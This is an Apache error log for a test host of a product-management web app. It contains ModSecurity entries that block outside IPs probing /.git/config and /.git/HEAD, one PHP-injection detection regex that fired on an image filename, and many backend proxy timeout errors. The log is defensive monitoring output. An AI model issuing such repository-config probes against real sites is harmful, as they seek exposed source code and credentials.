[Sat Jan 06 05:50:40.578047 2024] [:error] [pid 163653] [client 50.18.103.201:60004] [client 50.18.103.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZZjcIHMh-7CV5yfHb_R4PQAAAAI&quot;]
[Sat Jan 06 05:50:40.578233 2024] [:error] [pid 163653] [client 50.18.103.201:60004] [client 50.18.103.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZZjcIHMh-7CV5yfHb_R4PQAAAAI&quot;]
[Sat Jan 06 10:28:38.854292 2024] [:error] [pid 163653] [client 110.138.94.27:58841] [client 110.138.94.27] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;ZZkdRnMh-7CV5yfHb_R4SwAAAAI&quot;]
[Sat Jan 06 10:28:38.854544 2024] [:error] [pid 163653] [client 110.138.94.27:58841] [client 110.138.94.27] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;ZZkdRnMh-7CV5yfHb_R4SwAAAAI&quot;]
[Sat Jan 06 10:28:38.854715 2024] [:error] [pid 163653] [client 110.138.94.27:58841] [client 110.138.94.27] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;ZZkdRnMh-7CV5yfHb_R4SwAAAAI&quot;]
[Sat Jan 06 10:28:39.385651 2024] [:error] [pid 163652] [client 110.138.94.27:53522] [client 110.138.94.27] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;ZZkdR596kWZ4e3cBNNihiQAAAAE&quot;]
[Sat Jan 06 10:28:39.385912 2024] [:error] [pid 163652] [client 110.138.94.27:53522] [client 110.138.94.27] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;ZZkdR596kWZ4e3cBNNihiQAAAAE&quot;]
[Sat Jan 06 10:28:39.386125 2024] [:error] [pid 163652] [client 110.138.94.27:53522] [client 110.138.94.27] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;ZZkdR596kWZ4e3cBNNihiQAAAAE&quot;]
[Mon Jan 08 14:27:47.143364 2024] [proxy_http:error] [pid 218190] (104)Connection reset by peer: [client 101.56.97.226:1797] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Mon Jan 08 14:31:21.827584 2024] [proxy_http:error] [pid 206301] (70007)The timeout specified has expired: [client 101.56.97.226:1792] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Mon Jan 08 14:31:21.827644 2024] [proxy:error] [pid 206301] [client 101.56.97.226:1792] AH00898: Error reading from remote server returned by /rest/partners/updateProducts/, referer: https://pms.test.indacotrentino.com/
[Mon Jan 08 15:20:02.086186 2024] [proxy_http:error] [pid 220695] (104)Connection reset by peer: [client 101.56.97.226:1850] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Mon Jan 08 15:21:14.136861 2024] [proxy_http:error] [pid 220104] (70007)The timeout specified has expired: [client 101.56.97.226:1807] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Mon Jan 08 15:21:14.151530 2024] [proxy:error] [pid 220104] [client 101.56.97.226:1807] AH00898: Error reading from remote server returned by /rest/partners/updateProducts/, referer: https://pms.test.indacotrentino.com/
[Mon Jan 08 15:21:54.213051 2024] [proxy_http:error] [pid 220108] (70007)The timeout specified has expired: [client 101.56.97.226:1827] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Mon Jan 08 15:21:54.241449 2024] [proxy:error] [pid 220108] [client 101.56.97.226:1827] AH00898: Error reading from remote server returned by /rest/charts/products/640597c2c3e1774dd7069170, referer: https://pms.test.indacotrentino.com/
[Mon Jan 08 15:21:54.281015 2024] [proxy_http:error] [pid 220116] (70007)The timeout specified has expired: [client 101.56.97.226:1826] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Mon Jan 08 15:21:54.319384 2024] [proxy:error] [pid 220116] [client 101.56.97.226:1826] AH00898: Error reading from remote server returned by /rest/orders/summary/640597c2c3e1774dd7069170/62ed13d02477d328814c66ed/, referer: https://pms.test.indacotrentino.com/
[Mon Jan 08 15:22:36.598052 2024] [proxy_http:error] [pid 220175] (70007)The timeout specified has expired: [client 101.56.97.226:1834] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Mon Jan 08 15:22:36.610828 2024] [proxy:error] [pid 220175] [client 101.56.97.226:1834] AH00898: Error reading from remote server returned by /rest/charts/products/640597c2c3e1774dd7069170, referer: https://pms.test.indacotrentino.com/
[Mon Jan 08 15:22:36.723735 2024] [proxy_http:error] [pid 220208] (70007)The timeout specified has expired: [client 101.56.97.226:1835] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Mon Jan 08 15:22:36.732589 2024] [proxy:error] [pid 220208] [client 101.56.97.226:1835] AH00898: Error reading from remote server returned by /rest/orders/summary/640597c2c3e1774dd7069170/62ed13d02477d328814c66ed/, referer: https://pms.test.indacotrentino.com/
[Mon Jan 08 15:22:51.721075 2024] [proxy_http:error] [pid 220161] (70007)The timeout specified has expired: [client 101.56.97.226:1832] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Mon Jan 08 15:22:51.724753 2024] [proxy:error] [pid 220161] [client 101.56.97.226:1832] AH00898: Error reading from remote server returned by /rest/charts/products/640597c2c3e1774dd7069170, referer: https://pms.test.indacotrentino.com/
[Mon Jan 08 15:24:55.753587 2024] [proxy_http:error] [pid 220697] (70007)The timeout specified has expired: [client 101.56.97.226:1851] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Mon Jan 08 15:24:55.756482 2024] [proxy:error] [pid 220697] [client 101.56.97.226:1851] AH00898: Error reading from remote server returned by /rest/charts/products/640597c2c3e1774dd7069170, referer: https://pms.test.indacotrentino.com/
[Mon Jan 08 15:24:55.935590 2024] [proxy_http:error] [pid 220372] (70007)The timeout specified has expired: [client 101.56.97.226:1849] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Mon Jan 08 15:24:55.935669 2024] [proxy:error] [pid 220372] [client 101.56.97.226:1849] AH00898: Error reading from remote server returned by /rest/orders/summary/640597c2c3e1774dd7069170/62ed13d02477d328814c66ed/, referer: https://pms.test.indacotrentino.com/
[Mon Jan 08 15:25:27.071575 2024] [proxy_http:error] [pid 220691] (70007)The timeout specified has expired: [client 101.56.97.226:1854] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Mon Jan 08 15:25:27.071640 2024] [proxy:error] [pid 220691] [client 101.56.97.226:1854] AH00898: Error reading from remote server returned by /rest/charts/products/640597c2c3e1774dd7069170, referer: https://pms.test.indacotrentino.com/
[Mon Jan 08 15:25:29.387597 2024] [proxy_http:error] [pid 220700] (70007)The timeout specified has expired: [client 101.56.97.226:1855] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Mon Jan 08 15:25:29.387671 2024] [proxy:error] [pid 220700] [client 101.56.97.226:1855] AH00898: Error reading from remote server returned by /rest/orders/summary/640597c2c3e1774dd7069170/62ed13d02477d328814c66ed/, referer: https://pms.test.indacotrentino.com/
[Mon Jan 08 15:25:48.360057 2024] [proxy_http:error] [pid 220373] (70007)The timeout specified has expired: [client 101.56.97.226:1840] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Mon Jan 08 15:25:48.371535 2024] [proxy:error] [pid 220373] [client 101.56.97.226:1840] AH00898: Error reading from remote server returned by /rest/charts/products/640597c2c3e1774dd7069170, referer: https://pms.test.indacotrentino.com/
[Mon Jan 08 15:26:23.535606 2024] [proxy_http:error] [pid 220172] (70007)The timeout specified has expired: [client 101.56.97.226:1799] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Mon Jan 08 15:26:23.535672 2024] [proxy:error] [pid 220172] [client 101.56.97.226:1799] AH00898: Error reading from remote server returned by /rest/orders/summary/640597c2c3e1774dd7069170/62ed13d02477d328814c66ed/, referer: https://pms.test.indacotrentino.com/
[Thu Jan 11 09:04:32.246001 2024] [:error] [pid 275713] [client 31.220.0.86:58996] [client 31.220.0.86] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZZ-hEGe73Z8RpPzABWoX5QAAAAI&quot;]
[Thu Jan 11 09:04:32.246313 2024] [:error] [pid 275713] [client 31.220.0.86:58996] [client 31.220.0.86] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZZ-hEGe73Z8RpPzABWoX5QAAAAI&quot;]
[Thu Jan 11 09:04:32.246501 2024] [:error] [pid 275713] [client 31.220.0.86:58996] [client 31.220.0.86] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZZ-hEGe73Z8RpPzABWoX5QAAAAI&quot;]
[Mon Jan 15 16:20:07.545545 2024] [:error] [pid 376521] [client 79.50.106.181:64720] [client 79.50.106.181] ModSecurity: Warning. Pattern match &quot;(?:(?:\\\\(|\\\\[)[a-zA-Z0-9_.$\\&quot;&#039;\\\\[\\\\](){}/*\\\\s]+(?:\\\\)|\\\\])[0-9_.$\\&quot;&#039;\\\\[\\\\](){}/*\\\\s]*\\\\([a-zA-Z0-9_.$\\&quot;&#039;\\\\[\\\\](){}/*\\\\s].*\\\\)|\\\\([\\\\s]*string[\\\\s]*\\\\)[\\\\s]*(?:\\&quot;|&#039;))&quot; at ARGS:data. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;] [line &quot;504&quot;] [id &quot;933210&quot;] [msg &quot;PHP Injection Attack: Variable Function Call Found&quot;] [data &quot;Matched Data: (400 x 600 px) (1) found within ARGS:data: {\\x22name\\x22:\\x22firma natale delta (400 x 600 px) (1).png\\x22,\\x22type\\x22:\\x22image/png\\x22}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-php&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-injection-php&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/PHP_INJECTION&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/media/632349101fbeef5e72aae4c3&quot;] [unique_id &quot;ZaVNJzqVt3y1Yhu7ZCatiAAAAAQ&quot;], referer: https://pms.test.indacotrentino.com/
[Mon Jan 15 16:20:07.550994 2024] [:error] [pid 376521] [client 79.50.106.181:64720] [client 79.50.106.181] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/media/632349101fbeef5e72aae4c3&quot;] [unique_id &quot;ZaVNJzqVt3y1Yhu7ZCatiAAAAAQ&quot;], referer: https://pms.test.indacotrentino.com/
[Mon Jan 15 16:20:07.551228 2024] [:error] [pid 376521] [client 79.50.106.181:64720] [client 79.50.106.181] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/media/632349101fbeef5e72aae4c3&quot;] [unique_id &quot;ZaVNJzqVt3y1Yhu7ZCatiAAAAAQ&quot;], referer: https://pms.test.indacotrentino.com/
[Wed Jan 17 12:50:43.335981 2024] [:error] [pid 417405] [client 31.43.185.32:50720] [client 31.43.185.32] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zae_E5iZTZTQV7jk5RpFHAAAAAg&quot;]
[Wed Jan 17 12:50:43.336259 2024] [:error] [pid 417405] [client 31.43.185.32:50720] [client 31.43.185.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zae_E5iZTZTQV7jk5RpFHAAAAAg&quot;]
[Wed Jan 17 12:50:43.336449 2024] [:error] [pid 417405] [client 31.43.185.32:50720] [client 31.43.185.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zae_E5iZTZTQV7jk5RpFHAAAAAg&quot;]
[Fri Jan 19 16:01:37.796945 2024] [proxy_http:error] [pid 476566] (104)Connection reset by peer: [client 213.21.147.71:54284] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Fri Jan 19 16:29:04.305993 2024] [proxy_http:error] [pid 476578] (104)Connection reset by peer: [client 213.21.147.71:54627] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Sat Jan 20 15:02:46.353663 2024] [:error] [pid 486696] [client 18.223.120.90:40872] [client 18.223.120.90] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZavShpHTdjzdF2yYG18nPwAAAAE&quot;]
[Sat Jan 20 15:02:46.354000 2024] [:error] [pid 486696] [client 18.223.120.90:40872] [client 18.223.120.90] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZavShpHTdjzdF2yYG18nPwAAAAE&quot;]
[Sat Jan 20 15:02:46.354181 2024] [:error] [pid 486696] [client 18.223.120.90:40872] [client 18.223.120.90] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZavShpHTdjzdF2yYG18nPwAAAAE&quot;]
[Tue Jan 23 14:14:00.349318 2024] [proxy_http:error] [pid 564358] (20014)Internal error (specific information not available): [client 213.21.147.71:56204] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Tue Jan 23 14:14:00.349342 2024] [proxy_http:error] [pid 577313] (20014)Internal error (specific information not available): [client 213.21.147.71:56228] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Tue Jan 23 14:14:00.349368 2024] [proxy:error] [pid 564358] [client 213.21.147.71:56204] AH00898: Error reading from remote server returned by /rest/categories/default/62ed13d02477d328814c66ed, referer: https://pms.test.indacotrentino.com/
[Tue Jan 23 14:14:00.349392 2024] [proxy:error] [pid 577313] [client 213.21.147.71:56228] AH00898: Error reading from remote server returned by /rest/partners/632dd5c81d877a2ed9c6d153/productsSearch, referer: https://pms.test.indacotrentino.com/
[Tue Jan 23 14:14:00.350020 2024] [proxy_http:error] [pid 564747] (20014)Internal error (specific information not available): [client 213.21.147.71:56200] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Tue Jan 23 14:14:00.351297 2024] [proxy_http:error] [pid 563978] (20014)Internal error (specific information not available): [client 213.21.147.71:56197] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Tue Jan 23 14:14:00.352173 2024] [proxy_http:error] [pid 564786] (20014)Internal error (specific information not available): [client 213.21.147.71:56199] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Tue Jan 23 14:14:00.352197 2024] [proxy:error] [pid 564786] [client 213.21.147.71:56199] AH00898: Error reading from remote server returned by /rest/warehouses/partner/632dd5c81d877a2ed9c6d153, referer: https://pms.test.indacotrentino.com/
[Tue Jan 23 14:14:00.352193 2024] [proxy_http:error] [pid 564803] (20014)Internal error (specific information not available): [client 213.21.147.71:56193] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Tue Jan 23 14:14:00.352722 2024] [proxy_http:error] [pid 564063] (20014)Internal error (specific information not available): [client 213.21.147.71:56163] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Tue Jan 23 14:14:00.352885 2024] [proxy_http:error] [pid 564775] (20014)Internal error (specific information not available): [client 213.21.147.71:56165] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Tue Jan 23 14:14:00.352900 2024] [proxy:error] [pid 564775] [client 213.21.147.71:56165] AH00898: Error reading from remote server returned by /rest/attribute-sets/default/62ed13d02477d328814c66ed, referer: https://pms.test.indacotrentino.com/
[Tue Jan 23 14:14:00.353262 2024] [proxy_http:error] [pid 564845] (20014)Internal error (specific information not available): [client 213.21.147.71:56166] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Tue Jan 23 14:14:00.353279 2024] [proxy:error] [pid 564845] [client 213.21.147.71:56166] AH00898: Error reading from remote server returned by /rest/warehouses/partner/632dd5c81d877a2ed9c6d153, referer: https://pms.test.indacotrentino.com/
[Tue Jan 23 14:14:00.353672 2024] [proxy_http:error] [pid 577311] (20014)Internal error (specific information not available): [client 213.21.147.71:56191] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Tue Jan 23 14:14:00.567599 2024] [proxy_http:error] [pid 577313] (20014)Internal error (specific information not available): [client 213.21.147.71:56228] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Tue Jan 23 14:14:00.568452 2024] [proxy_http:error] [pid 564358] (20014)Internal error (specific information not available): [client 213.21.147.71:56204] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Tue Jan 23 14:14:00.582188 2024] [proxy:error] [pid 564786] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Tue Jan 23 14:14:00.582217 2024] [proxy_http:error] [pid 564786] [client 213.21.147.71:56199] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Tue Jan 23 14:14:00.585061 2024] [proxy:error] [pid 564371] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Tue Jan 23 14:14:00.585085 2024] [proxy_http:error] [pid 564371] [client 213.21.147.71:47901] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
